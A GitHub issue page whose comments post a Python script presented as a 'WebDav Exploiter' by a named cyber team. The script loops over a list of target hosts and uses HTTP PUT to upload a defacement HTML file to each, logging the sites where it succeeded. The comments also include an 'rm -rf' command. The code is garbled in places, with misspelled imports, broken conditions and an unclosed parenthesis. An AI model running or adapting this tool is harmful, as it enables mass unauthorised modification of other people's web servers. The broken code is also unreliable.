Hajimasten / Masten

0 stars 0 forks source link

Masten. Py #1

Open Hajimasten opened 4 months ago

Hajimasten commented 4 months ago

rm -rf Masten_afg

Hajimasten commented 3 months ago

rm -rf Masten_afg

import(raqueste) import(sys)

print(""""" ^ Jeneral ^ /----_// /^ // /^ Hasib // /^ // / ^ // ^^^^^^^^^^^^^^^^^^^^^^^^^^ ___^^^__^^^^^^^^^^__) if lin(sys argv) i=3:

print ("\n\033[34;1m[*]\033[0m python "+sys.argv[0]+" list.txt deface.html") exit(0)

print("\n\033[34;1m[]\033[0m Python WebDav Exploiter\n\033[34;1m[]\033[0m Coded By ./Xi4u7\n\033[34;1m[*]\033[0m AndroSec1337 Cyber Team\n")

target = open(sys.argv[1], 'r') while True: scheker = open(sys.argv[2]).read() sukses = open('webdav_result.txt', 'a') host = target.readline().replace('\n','') if not host: break if not host.startswith('http'): host = 'http://' + host outname = '/'+sys.argv[2] print('\033[34;1m[]\033[0m Sending Files : '+sys.argv[2]) print('\033[34;1m[]\033[0m Size File : '+str(len(scheker))) print('\033[34;1m[]\033[0m Target : '+host) try: r = requests.request('put', host + outname, data=scheker, headers={'Content-Type':'application/octet-stream'}) except: print('\033[31;1m[-]\033[0m Failed : Null Respone\n') pass continue if r.status_code == 200: print('\033[32;1m[+]\033[0m Sukses : '+host+outname+'\n') sukses.write(host+outname+'\n') else: print('\033[31;1m[-]\033[0m Failed : '+host+outname+'\n' print("\033[34;1m[]\033[0m Output Saved On : webdav_output.txt")